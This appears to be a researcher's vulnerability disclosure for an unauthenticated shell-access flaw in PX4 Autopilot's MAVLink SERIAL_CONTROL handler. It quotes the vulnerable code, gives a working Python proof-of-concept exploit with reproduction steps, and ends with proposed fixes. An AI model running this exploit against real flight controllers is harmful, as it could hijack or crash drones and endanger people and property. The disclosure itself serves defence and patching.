CVE-2026-1579: Unauthenticated Remote Command Execution in PX4 Autopilot via MAVLink
- Apr 8
- 6 min read

TL;DR: I found that PX4 Autopilot, one of the most widely used open-source flight controllers for drones and UAVs, allows anyone with network access to execute arbitrary shell commands on the flight controller. No password, no authentication token, no cryptographic challenge, just a single MAVLink message. The only "security" is a system ID that defaults to 1 and is broadcast in plaintext. This vulnerability has been assigned CVE-2026-1579.
How I Found This
If you've worked with drone systems, you know MAVLink is the lingua franca, it's the protocol that ground control stations, companion computers, and telemetry radios all use to talk to the flight controller. It was designed for efficiency and reliability in bandwidth-constrained environments, not for security. That design choice made sense in the early days of hobbyist drones, but the world has changed. PX4 now powers military reconnaissance systems commercial delivery drones, and agricultural survey platforms.
While auditing the PX4 source code for research, I started looking at how MAVLink message handlers validate incoming requests. Most handlers just check whether the message targets the right system, which, to be clear, is not real authentication. But one handler in particular caught my attention: SERIAL_CONTROL. This message type is designed to give MAVLink clients access to serial ports on the flight controller, and one of those "serial ports" is a full NuttX shell.
What I found was worse than I expected.
The Vulnerability
The vulnerable code lives in src/modules/mavlink/mavlink_receiver.cpp, lines 1840–1875. Here's the handler:
void MavlinkReceiver::handle_message_serial_control(mavlink_message_t *msg)
{
mavlink_serial_control_t serial_control_mavlink;
mavlink_msg_serial_control_decode(msg, &serial_control_mavlink);
// ONLY authentication - checks system ID (1-255, transmitted in plaintext)
if ((serial_control_mavlink.target_system != 0 &&
mavlink_system.sysid != serial_control_mavlink.target_system)) {
return;
}
// No further authentication checks
const LockGuard lg{_mavlink.get_shell_mutex()};
MavlinkShell *shell = _mavlink.get_shell();
if (shell) {
// User input forwarded directly to shell
shell->write(serial_control_mavlink.data, serial_control_mavlink.count);
}
}Read that carefully. The message comes in, PX4 checks if the target system ID matches (or is 0 for broadcast), and then… that's it. The raw payload bytes get piped straight into the NuttX shell. No authentication framework. No signing check. No rate limiting. Nothing.
Why the System ID Check Doesn't Count as Authentication
You might think "well, at least you need to know the system ID." Here's why that argument doesn't hold up:
System IDs are integers between 1 and 255. The default is 1, and most deployments never change it. Even if they do, the system ID is broadcast in every MAVLink heartbeat message, in plaintext. And there's no rate limiting, so you could brute-force all 255 possibilities in under a second. MAVLink v2 does support message signing, but the SERIAL_CONTROL handler doesn't check for it.
Attack Surface
This isn't just a theoretical WiFi-only issue. The vulnerability is exploitable across every transport layer MAVLink supports:
Transport | Range | Requirements |
WiFi | 100–300m | WiFi password (if protected), Python + pymavlink |
Telemetry Radio | 1–50km | Compatible radio ($50–200), USB connection |
Cellular/LTE | Global | Cellular-enabled drone, network access |
The radio attack vector is particularly interesting. MAVLink over radio is a binary protocol transmitted directly over 915MHz, 433MHz, or 2.4GHz frequencies, no TCP/IP stack involved. Anyone with a compatible radio on the same frequency can inject packets. There is no encryption or authentication at any layer of the radio stack.
Proof of Concept
I built a proof-of-concept exploit and tested it against PX4 v1.16.0 running in the SITL (Software In The Loop) simulator. The code path is identical to hardware deployments, so the results directly translate to real-world systems.
Before Exploitation
PX4 v1.16.0 running normally, MAVLink initialized on port 14540:

PX4 v1.16.0 console during normal startup. MAVLink is listening and ready for connections.
Exploit Execution
The attacker connects via MAVLink and sends SERIAL_CONTROL commands, no credentials required, no authentication prompt, nothing. The system ID was guessed as 1 (the default):

Exploit output: connected to system 1 with no authentication. Full version information dumped from the flight controller.
After Exploitation
The flight controller processes the attacker's shell commands as if they were legitimate. Here we can see commander status and list_tasks output, the attacker has full visibility into the drone's internal state:

PX4 console showing remotely executed commands. The attacker has full shell access to the flight controller.
The Exploit Code
The exploit itself is extremely simple. Under 40 lines of Python:
#!/usr/bin/env python3
from pymavlink import mavutil
import time
SERIAL_CONTROL_DEV_SHELL = 10
SERIAL_CONTROL_FLAG_RESPOND = 2
# Connect to PX4 (WiFi/UDP or Radio/Serial)
master = mavutil.mavlink_connection('udp:127.0.0.1:14540', source_system=255)
master.wait_heartbeat(timeout=5)
target_system = master.target_system if master.target_system != 0 else 1
print(f"[+] Connected to system {target_system} - NO authentication required")
def send_command(cmd):
command_bytes = (cmd + "\n").encode('utf-8')
master.mav.serial_control_send(
device=SERIAL_CONTROL_DEV_SHELL,
flags=SERIAL_CONTROL_FLAG_RESPOND,
timeout=0, baudrate=0,
count=len(command_bytes),
data=list(command_bytes) + [0] * (70 - len(command_bytes))
)
# Collect response
time.sleep(2)
output = b""
while True:
msg = master.recv_match(blocking=False)
if msg and msg.get_type() == 'SERIAL_CONTROL':
if msg.device == SERIAL_CONTROL_DEV_SHELL and msg.count > 0:
output += bytes(msg.data[:msg.count])
else:
break
return output.decode('utf-8', errors='replace')
# Execute command
print(send_command("ver all"))
That's it. Connect, send a SERIAL_CONTROL message with device=10 (shell), and you get a fully interactive NuttX console. From there, you have access to 50+ commands including param (read/modify flight parameters), commander (control flight modes and arming), reboot, listener (monitor sensor data), top (view running processes), and many more.
Impact Assessment
CVSS 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Every metric is maxed or near-maxed: the attack is network-accessible, low complexity, requires no privileges and no user interaction, and achieves high impact across confidentiality, integrity, and availability.
Real-World Scenarios
Consumer Drones (WiFi, 100–300m range): An attacker within WiFi range could take control mid-flight, extract GPS tracks and flight history, or modify safety parameters to cause a crash.
Commercial Operations (Radio, 1–50km range): A competitor could steal proprietary flight algorithms, sabotage delivery or survey operations, or extract commercial data before the operator retrieves it.
Military/Government: If encryption is not enabled at the transport layer, the consequences are catastrophic: extracting classified flight data, injecting false sensor readings, or establishing persistent backdoors.
Physical Safety: Commands exist that could disarm motors mid-flight, force crashes causing property damage or injury, and override safety systems like geofencing and return-to-home.
Recommended Fixes
Immediate Mitigations
1. Disable Shell by Default
// Add parameter check
int32_t shell_enabled = 0;
param_get(param_find("SYS_SHELL_ENABLE"), &shell_enabled);
if (shell_enabled == 0) {
return; // Shell disabled
}2. Enforce MAVLink Signing
// Reject unsigned messages when signing enabled
if (_mavlink.get_signing() && !(msg->incompat_flags & MAVLINK_IFLAG_SIGNED)) {
PX4_WARN("Rejecting unsigned SERIAL_CONTROL");
return;
}3. Rate Limiting: Limit shell access attempts per source, block after 3 failed attempts within 1 second, and prevent system ID enumeration.
Long-Term Solutions
The deeper fix requires rethinking the security model: implementing a real authentication framework (pre-shared keys, certificate-based auth, or challenge-response), restricting commands to a safe whitelist, adding comprehensive audit logging with persistent storage, and documenting network segmentation best practices for secure deployments.
Reproduction Steps
For anyone who wants to verify this independently:
# Clone and build PX4 v1.16.0
git clone https://github.com/PX4/PX4-Autopilot.git
cd PX4-Autopilot
git checkout v1.16.0
# Install dependencies
pip3 install --user 'empy==3.3.4' pymavlink
# Build (~8 minutes, 1068 steps)
make px4_sitl_default
# Start PX4 SITL
cd build/px4_sitl_default/rootfs
PX4_SYS_AUTOSTART=0 ../bin/px4 -d
# Wait for: INFO [mavlink] mode: Onboard... on udp port 14580 remote port 14540
# Run exploit
python3 exploit.pyLimitations
In the interest of full transparency: this research was conducted in SITL (software simulation), not on physical hardware. I didn't have access to physical flight controllers at the time. However, the vulnerable code path is identical in both environments. The same handle_message_serial_control function processes messages regardless of whether PX4 is running on a Pixhawk or in simulation. I also only tested v1.16.0, and did not verify whether enabling MAVLink signing at the transport level prevents exploitation (though code analysis suggests signing is optional and not enforced by this handler).
Conclusion
This vulnerability is a reminder that protocols designed for convenience in a hobbyist context don't automatically scale to safety-critical, security-sensitive deployments. MAVLink was built for a world where the biggest threat was radio interference, not adversarial attackers. As drones move into commercial airspace, critical infrastructure, and military operations, the security model needs to evolve with them.
The fix isn't complicated: disable the shell by default, enforce message signing for sensitive commands, add rate limiting. These are well-understood patterns. The challenge is the cultural shift: treating flight controller firmware with the same security rigor we apply to any other networked system that could cause physical harm.
If you're running PX4 in production right now, the best immediate mitigation is network isolation, do not expose MAVLink to untrusted networks. Consider enabling MAVLink v2 signing if your ground control station supports it.




